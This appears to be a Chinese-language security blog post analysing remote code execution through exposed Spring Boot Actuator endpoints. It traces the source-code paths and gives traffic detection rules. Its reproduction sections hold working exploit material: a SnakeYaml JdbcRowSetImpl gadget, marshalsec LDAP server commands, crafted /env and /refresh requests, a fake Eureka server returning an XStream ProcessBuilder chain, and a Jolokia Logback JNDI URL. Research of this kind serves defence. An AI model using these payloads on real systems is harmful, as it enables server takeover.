简介
Spring-Actuator是Spring-boot对应用监控的集成模块,提供了我们对服务器进行监控的支持,使我们更直观的获取应用程序中加载的应用配置、环境变量、自动化配置报告等。
我们只需在pom文件中加入如下配置即可引入Actuator:
1
2
3
4
| <dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-actuator</artifactId>
</dependency>
|
应用启动后,此时我们可以访问一些类似 /env 、 /health 等接口来获取应用的环境信息等。
如果Spring Boot Actuator配置不当,一些敏感接口对外开放,轻则造成信息泄漏,重则RCE。Spring不同版本对于Actuator的区别如下:
- 1.0 - 1.4之间,默认暴露actuator的所有接口。
- 1.5 开始除
/health 和 /info 外,其他接口都默认有权限校验; - 2.x 版本的actuator存在路由前缀:
/actuator ,并且 2.x 版本默认只启用 /health 和 /info ;
当然,从1.5版本开始,如果程序员配置不当,开启了对外开放actuator的所有接口,那么就能造成漏洞了。
前置知识
Actuator请求处理流程分析
Actuator提供了很多端点(Endpoint),例如常见的 DumpEndpoint 、 HealthEndpoint 、 BeansEndpoint 等。但是这些端点无法通过HTTP直接请求到,要想访问这些端点,需要通过各个端点对应的 XXXMvcEndpoint 类来访问。
我们知道,SpringMVC是通过 RequestMappingHandlerMapping 来注册 Handler 的,这些 XXXMvcEndpoint 便是通过一个叫做 EndpointHandlerMapping 的类来进行注册的。实际上,这个类就是继承于 RequestMappingHandlerMapping ,注册之后,我们就可以通过HTTP访问到这些端点了。
我们首先看到 org.springframework.boot.actuate.endpoint.mvc.EndpointHandlerMapping#afterPropertiesSet() :
1
2
3
4
5
6
7
8
9
10
| public void afterPropertiesSet() {
super.afterPropertiesSet();
if (!this.disabled) {
Iterator var1 = this.endpoints.iterator();
while(var1.hasNext()) {
MvcEndpoint endpoint = (MvcEndpoint)var1.next();
this.detectHandlerMethods(endpoint);
}
}
}
|
可以看到,这个函数的操作逻辑如下:
- 先调用父类的
afterPropertiesSet() 方法; - 遍历
endpoints ,调用 this.detectHandlerMethods() 方法对当前遍历的 MvcEndpoint 进行注册。
继续看到 org.springframework.boot.actuate.endpoint.mvc.EndpointHandlerMapping#detectHandlerMethods(final Object handler) :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
| protected void detectHandlerMethods(final Object handler) {
Class<?> handlerType = (handler instanceof String ?
getApplicationContext().getType((String) handler) : handler.getClass());
final Class<?> userType = ClassUtils.getUserClass(handlerType);
Map<Method, T> methods = MethodIntrospector.selectMethods(userType,
new MethodIntrospector.MetadataLookup<T>() {
@Override
public T inspect(Method method) {
try {
return getMappingForMethod(method, userType);
}
catch (Throwable ex) {
throw new IllegalStateException("Invalid mapping on handler class [" +
userType.getName() + "]: " + method, ex);
}
}
});
if (logger.isDebugEnabled()) {
logger.debug(methods.size() + " request handler methods found on " + userType + ": " + methods);
}
for (Map.Entry<Method, T> entry : methods.entrySet()) {
Method invocableMethod = AopUtils.selectInvocableMethod(entry.getKey(), userType);
T mapping = entry.getValue();
registerHandlerMethod(handler, invocableMethod, mapping);
}
}
|
这个方法的大致逻辑如下:
- 遍历当前Handler(也就是MvcEndpoint)的所有方法;
- 从中找到标注有
@RequestMapping 等注解的方法,并根据注解配置的路由构造一个 RequestMappingInfo 对象,这个过程对应于上述代码中的 getMappingForMethod(method, userType) ; - 最后调用
registerHandlerMethod(handler, invocableMethod, mapping) ,将当前Handler(MvcEndpoint)中,含有 @RequestMapping 注解的方法进行路由注册。
继续跟一下 org.springframework.boot.actuate.endpoint.mvc.EndpointHandlerMapping#registerHandlerMethod(Object handler, Method method, RequestMappingInfo mapping) :
1
2
3
4
5
6
| protected void registerHandlerMethod(Object handler, Method method, RequestMappingInfo mapping) {
if (mapping != null) {
String[] patterns = this.getPatterns(handler, mapping);
super.registerHandlerMethod(handler, method, this.withNewPatterns(mapping, patterns));
}
}
|
可以看到,逻辑很简单,就是从 RequestMappingInfo 对象中拿到路由信息,然后将对应的方法注册一下就OK了。
这里没有带着具体分析路由信息到底是如何获取的(太长了),这里就直接说明结论:
Actuator的各个Endpoint的id属性就是路由。例如 HealthEndpoint :

例如我们看到 org.springframework.cloud.context.environment.EnvironmentManagerMvcEndpoint :

根据我们前面的MvcEndpoint注册分析,可以知道这个MvcEndpint对外暴露了两个方法,且都是POST类型的。路由为 /env 和 /env/reset ,为啥是 /env ,因为:

由此我们便可以通过HTTP访问到MvcEndpoint了,MvcEndpoint再操作其对应的Endpoint。
Spring事件通知机制
Spring的事件通知机制是一项很有用的功能,使用事件机制我们可以将相互耦合的代码解耦,从而方便功能的修改与添加。
我们已前面提到的 org.springframework.cloud.context.environment.EnvironmentManagerMvcEndpoint 类为例,分析Spring的事件通知机制。首先看到其 value() 方法:
1
2
3
4
5
6
7
8
| @RequestMapping(value = "", method = RequestMethod.POST)
@ResponseBody
public Object value(@RequestParam Map<String, String> params) {
for (String name : params.keySet()) {
environment.setProperty(name, params.get(name));
}
return params;
}
|
从前端接收参数存入到params,再调用 EnvironmentManager#setProperty() 方法,往环境变量中设置参数值。继续跟进:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
| @ManagedOperation
public void setProperty(String name, String value) {
if (!environment.getPropertySources().contains(MANAGER_PROPERTY_SOURCE)) {
synchronized (map) {
if (!environment.getPropertySources().contains(MANAGER_PROPERTY_SOURCE)) {
MapPropertySource source = new MapPropertySource(
MANAGER_PROPERTY_SOURCE, map);
environment.getPropertySources().addFirst(source);
}
}
}
if (!value.equals(environment.getProperty(name))) {
map.put(name, value);
publish(new EnvironmentChangeEvent(Collections.singleton(name)));
}
}
|
逻辑如下:
- 调用
environment.getPropertySources() 获取所有属性源,判断是否存在 manager 属性源,没有的话,则创建一个添加到 environment 中; - 通过
value.equals(environment.getProperty(name)) 判断 environment 中 name 对应的参数值是否和前端传来的一致,不一致则将前端传来的参数值设置到 map 中。这个 map 就是 environment 中名字为 manager 的属性源( MapPropertySource )的一个属性,用于存储配置。 - 设置完毕属性,再通过
publish(new EnvironmentChangeEvent(Collections.singleton(name))) 将事件发布出去。
最终底层是通过调用 org.springframework.context.support.AbstractApplicationContext#publishEvent(Object event, ResolvableType eventType) 来将事件发布出去,其中又是调用 SimpleApplicationEventMulticaster#multicastEvent() 方法来将事件广播出去:

继续跟进 SimpleApplicationEventMulticaster#multicastEvent() :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
| public void multicastEvent(final ApplicationEvent event, ResolvableType eventType) {
ResolvableType type = eventType != null ? eventType : this.resolveDefaultEventType(event);
Iterator var4 = this.getApplicationListeners(event, type).iterator();
while(var4.hasNext()) {
final ApplicationListener<?> listener = (ApplicationListener)var4.next();
Executor executor = this.getTaskExecutor();
if (executor != null) {
executor.execute(new Runnable() {
public void run() {
SimpleApplicationEventMulticaster.this.invokeListener(listener, event);
}
});
} else {
this.invokeListener(listener, event);
}
}
}
|
可以看到其逻辑如下:
- 根据事件类型获取到可以处理此事件的事件监听器;
- 异步或者同步地方式调用事件监听器;
例如如下所示,遍历到当前事件的一个事件监听器,然后触发执行它:

在 ConfigFileApplicationListener#onApplicationEvent(ApplicationEvent event) 打一个端点,就能看到收到事件通知了:

SnakeYaml RCE
攻击复现
首先在VPS上准备一个yml文件:
1
2
3
| foo: !!com.sun.rowset.JdbcRowSetImpl
dataSourceName: "ldap://localhost:1099/EvalClass"
autoCommit: true
|
然后用marshalsec起一个恶意的Ldap服务:
1
| java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1/#EvalClass 1099
|
再准备一个恶意的class文件:

最后起一个HTTP服务(class文件和shell.yml需要在这个HTTP服务下):
1
| python3 -m http.server 80
|
现在开始准备攻击,首先发送如下数据包:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
| POST /monitor/env HTTP/1.1
Host: 127.0.0.1:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded
Cookie: OFBiz.Visitor=10000
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Pragma: no-cache
Cache-Control: no-cache
Content-Length: 58
spring.cloud.bootstrap.location=http://127.0.0.1/shell.yml
|
然后发送如下数据包:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
| POST /monitor/refresh HTTP/1.1
Host: 127.0.0.1:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded
Cookie: OFBiz.Visitor=10000
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Pragma: no-cache
Cache-Control: no-cache
Content-Length: 22
|
攻击成功:

漏洞原理
原理很简单:
- 通过POST请求
/env 接口,请求添加配置: spring.cloud.bootstrap.location=http://127.0.0.1/shell.yml ; - 通过POST请求
/refresh 接口,请求刷新配置并重新加载配置; - Spring后台使用SnakeYaml加载yml文件,导致yml反序列化RCE;
前面已经分析过添加配置的具体流程了( EnvironmentManagerMvcEndpoint ),那我请求 /refresh 是如何触发解析远程yml的呢?
根据前面的前置知识,我们可以知道, /refresh 接口的具体处理逻辑应该在 RefreshEndpoint 内:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
| @ConfigurationProperties(prefix = "endpoints.refresh", ignoreUnknownFields = false)
@ManagedResource
public class RefreshEndpoint extends AbstractEndpoint<Collection<String>> {
private ContextRefresher contextRefresher;
public RefreshEndpoint(ContextRefresher contextRefresher) {
super("refresh");
this.contextRefresher = contextRefresher;
}
@ManagedOperation
public String[] refresh() {
Set<String> keys = contextRefresher.refresh();
return keys.toArray(new String[keys.size()]);
}
@Override
public Collection<String> invoke() {
return Arrays.asList(refresh());
}
}
|
入口在 refresh() 方法,一路跟进 contextRefresher.refresh() ,直到 org.springframework.cloud.context.refresh.ContextRefresher#addConfigFilesToEnvironment() :

所以接下来我们直接跟进 BootstrapApplicationListener 和 ConfigFileApplicationListener 即可。首先看到 BootstrapApplicationListener 的事件处理:

这个地方会通过 SpringApplicationBuilder 再次发布事件,且事件的 StandardEnvironment 内,将存在一个name为 BOOTSTRAP_PROPERTY_SOURCE_NAME (bootstrap)的 MapPropertySource ,这个 MapPropertySource 对象内存储了两个键值对:

我们再跟进到另外一个事件监听器 ConfigFileApplicationListener:

发现已经接收到事件了,并且其事件的environment属性中存在名字为bootstrap的MapPropertySource,且其内的数据和前面发布事件时设置的一样。
接下里就是一系列的环境属性的解析了,直接跟到 org.springframework.boot.context.config.ConfigFileApplicationListener#getSearchLocations() :

然后就会在 org.springframework.boot.context.config.ConfigFileApplicationListener#load() 中准备进行远程yml解析:

一系列流程就不跟了,直接看到底层触发SnakeYaml反序列化的位置:

流量特征
特征为POST请求设置环境变量,所以规则为:
1
2
3
| METHOD = POST
URI = /env
REG = spring\.cloud\.bootstrap\.location=https?:\S*\.ya?ml
|
Eureka Xstream RCE
攻击复现
首先准备一个Fake Eureka Server:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
| from flask import Flask, Response
app = Flask(__name__)
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>', methods=['GET', 'POST'])
def catch_all(path):
xml = """<linked-hash-set>
<jdk.nashorn.internal.objects.NativeString>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>calc</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
</is>
</dataSource>
</dataHandler>
</value>
</jdk.nashorn.internal.objects.NativeString>
</linked-hash-set>"""
return Response(xml, mimetype='application/xml')
if __name__ == "__main__":
app.run(host='0.0.0.0', port=80)
|
然后POST请求 /env 接口,请求设置环境变量:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
| POST /monitor/env HTTP/1.1
Host: 127.0.0.1:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded
Cookie: OFBiz.Visitor=10000
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Pragma: no-cache
Cache-Control: no-cache
Content-Length: 61
eureka.client.serviceUrl.defaultZone=http://127.0.0.1/example
|
最后请求后台刷新环境变量并重新加载环境变量:

漏洞原理
看起来和SnakeYaml RCE差不多,还是通过设置环境变量,然后触发重新加载,后台利用Xstream加载远程恶意数据造成反序列化RCE。
首先是通过POST请求 /env 设置环境变量: eureka.client.serviceUrl.defaultZone=http://127.0.0.1/examplea ,这个设置的过程和前面分析一样,是通过HTTP请求 EnvironmentManagerMvcEndpoint 这个端点,端点内通过 EnvironmentManager#setProperty(String name, String value) 来设置的:

消息发布后,会触发一些类似Rebind的事件处理器。后续这个环境变量,将自动绑定到 EurekaClientConfigBean 类的 serviceUrl 属性中。
首先看到 EurekaClientConfigBean 类的定义,可以看到它是一个SpringBoot配置类,配置前缀是 eureka.client :

我们设置的环境变量为: eureka.client.serviceUrl.defaultZone=http://127.0.0.1/example ,所以我们配置的环境变量会被自动绑定到 EurekaClientConfigBean 类对象的 serviceUrl 属性:

它是一个Map类型的属性,所以根据我们配置的环境变量,这个Map内将会自动绑定一个键值对,如下:

这样攻击者设置的环境变量就自动绑定到了 EurekaClientConfigBean 类对象的 serviceUrl 属性。
后续再POST请求 /refresh 接口,后续会触发 CloudEurekaClient#fetchRegistry(boolean forceFullRegistryFetch) ,并且 CloudEurekaClient 加载了前面的 EurekaClientConfigBean 配置对象:

CloudEurekaClient 会触发底层的各种 XXXHttpClient 进行请求,并且请求的地址就是前面加载的配置的地址,也就是攻击者设置的地址:

底层会使用XmlStream来处理请求的响应,用来反序列化一个 class com.netflix.discovery.shared.Applications 对象,由此造成Xstream反序列化漏洞:

流量特征
特征为POST请求设置环境变量,所以规则为:
1
2
3
| METHOD = POST
URI = /env
REG = eureka\.client\.serviceUrl\.defaultZone=https?:\S*
|
Jolokia Logback JNDI RCE
攻击复现
访问 /jolokia/list 接口,查看是否存在 ch.qos.logback.classic.jmx.JMXConfigurator 和 reloadByURL 关键词。如果存在,则能进行攻击。
先用marshalsec起一个恶意的Ldap服务:
1
| java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1/#EvalClass 8585
|
再准备一个恶意的class文件:

还得准备一个example.xml文件:
1
2
3
| <configuration>
<insertFromJNDI env-entry-name="ldap://127.0.0.1:8585/EvalClass" as="appName" />
</configuration>
|
起一个HTTP服务(class文件和shell.yml需要在这个HTTP服务下):
1
| python3 -m http.server 80
|
最后请求如下URL:
1
| /jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/127.0.0.1!/example.xml
|
执行命令成功:

漏洞原理
- 直接访问可触发漏洞的 URL,相当于通过 jolokia 调用
ch.qos.logback.classic.jmx.JMXConfigurator 类的 reloadByURL 方法 - 目标机器请求外部日志配置文件 URL 地址,获得恶意 xml 文件内容
- 目标机器使用 saxParser.parse 解析 xml 文件 (这里导致了 xxe 漏洞)
- xml 文件中利用
logback 依赖的 insertFormJNDI 标签,设置了外部 JNDI 服务器地址 - 目标机器请求恶意 JNDI 服务器,导致 JNDI 注入,造成 RCE 漏洞
流量特征
利用 Jolokia 攻击不仅仅只有上述的手法,所以流量规则最好是检测到 /jolokia 访问就给ban掉:
1
2
| METHOD = POST or GET
URI = /jolokia
|
总结
各种RCE场景分析未完待续……
太多了,基本思路都是差不多,都是通过actuator重新配置靶机的某个组件的配置,然后让靶机重新加载配置,触发JNDI、SQL执行等操作造成RCE。
参考